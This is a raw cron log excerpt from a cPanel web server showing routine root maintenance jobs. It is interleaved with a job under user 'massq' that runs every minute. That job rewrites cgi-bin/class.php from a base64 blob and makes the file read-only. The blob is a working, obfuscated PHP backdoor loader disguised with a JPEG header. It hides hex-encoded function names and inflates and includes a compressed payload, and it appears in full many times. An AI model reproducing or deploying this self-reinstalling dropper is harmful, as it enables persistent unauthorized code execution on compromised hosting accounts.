base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:08:01 server CROND[5087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:08:01 server CROND[5088]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:08:01 server CROND[5089]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:09:01 server CROND[5549]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:09:01 server CROND[5550]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 20:09:01 server CROND[5551]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:09:01 server CROND[5552]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:10:01 server CROND[5936]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 20:10:01 server CROND[5938]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 20:10:01 server CROND[5939]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:10:01 server CROND[5942]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 20:10:01 server CROND[5943]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 20:10:01 server CROND[5940]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:10:01 server CROND[5944]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 20:10:01 server CROND[5941]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:11:01 server CROND[6781]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:11:01 server CROND[6782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:11:01 server CROND[6783]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:12:01 server CROND[7163]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:12:01 server CROND[7164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:12:01 server CROND[7165]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:12:01 server CROND[7167]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 20:13:01 server CROND[7533]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:13:01 server CROND[7535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:13:01 server CROND[7534]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:14:02 server CROND[7997]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:14:02 server CROND[7998]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:14:02 server CROND[8000]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:15:01 server CROND[8373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:15:01 server CROND[8375]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 20:15:01 server CROND[8377]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 11 20:15:01 server CROND[8379]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 20:15:01 server CROND[8385]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 11 20:15:01 server CROND[8383]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 20:15:01 server CROND[8384]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:15:01 server CROND[8378]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 20:15:01 server CROND[8380]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:16:01 server CROND[9224]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:16:01 server CROND[9225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:16:01 server CROND[9226]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:17:01 server CROND[9591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:17:01 server CROND[9592]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:17:01 server CROND[9593]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:18:01 server CROND[9959]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:18:01 server CROND[9960]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:18:01 server CROND[9962]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:19:01 server CROND[10483]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:19:01 server CROND[10484]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:19:01 server CROND[10485]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:20:01 server CROND[10921]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 20:20:01 server CROND[10923]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
